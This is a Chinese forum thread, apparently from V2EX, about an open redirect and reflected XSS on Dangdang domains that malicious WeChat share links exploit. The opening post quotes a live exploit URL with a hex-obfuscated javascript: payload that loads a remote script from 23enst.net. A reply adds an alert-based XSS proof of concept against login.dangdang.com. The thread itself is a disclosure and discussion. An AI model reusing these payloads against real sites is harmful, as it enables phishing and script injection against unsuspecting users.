当当可跳转任意网站

[bin456789]

被微信上的恶意分享连接利用了


https://login.dangdang.com/SignOut.asp?returnurl=http%3A%2F%2Fwx.etcwl.cn%2Fwtz%2Ffenx.php%3Ftype%3D2892&from=timeline


http://union.dangdang.com/transfer.php%01?from=P-295132-112509_64_0__1&backurl=http%253A%252F%252Fm.dangdang.com%252Fproduct.php%27;top.location.href=%27java%5Cx73%5Cx63%5Cx72%5Cx69%5Cx70%5Cx74%5Cx3a%5Cx64%5Cx6f%5Cx63%5Cx75%5Cx6d%5Cx65%5Cx6e%5Cx74%5Cx2e%5Cx77%5Cx72%5Cx69%5Cx74%5Cx65%5Cx28%5Cx22%5Cx3c%5Cx73%5Cx63%5Cx72%5Cx69%5Cx70%5Cx74%5Cx20%5Cx73%5Cx72%5Cx63%5Cx3d%5Cx27%5Cx2f%5Cx2f%5Cx32%5Cx33%5Cx65%5Cx6e%5Cx73%5Cx74%5Cx2e%5Cx6e%5Cx65%5Cx74%5Cx2f%5Cx64%5Cx73%5Cx67%5Cx2e%5Cx6a%5Cx73%5Cx27%5Cx3e%5Cx3c%5Cx2f%5Cx73%5Cx63%5Cx72%5Cx69%5Cx70%5Cx74%5Cx3e%5Cx22%5Cx29%5Cx3b%27;//&tt=19976#1530770981499

[wly19960911]

这意思，可以直接钓鱼了吗？还是人家官方的域名。

吐槽下，居然不是 HTTPS，

[blackhacker]

黑产最爱

[hu5ky]

真仔细，这种角落的东西都挖到了

[silencefent]

@hu5ky 说不定就是当当的员工

[waytoshine]

牛逼啊兄弟，这也行

[a7a2]

asp，php 我醉了
博彩业最爱

[sunnywx]

这也可以发现，牛逼

[opengps]

这个真的是微信里黑产防止屏蔽的用途了

[Lentin]

https://login.dangdang.com/SignOut.asp?returnurl=%27);alert(%27hello

[justfindu]

@a7a2 这黑的我不服

[neverandy]

@Lentin 666

[i730]

@Lentin #9 login 域的 xss 就这么爆出来了，讲究

[460881773]

@Lentin 优秀啊 dalao dalao

[fxplay]

@Lentin 没茅台...当当还不修复么...

[xiri]

@Lentin 真心 6

[Lentin]

@fxplay 当当网的技术应该是兼职，24 小时过去了

[li520sai]

这波操作 6，有没有爱好者一起研究 xss 的，wx：houccdaye

[EmitRemmus]

@a7a2 也是色情业最爱。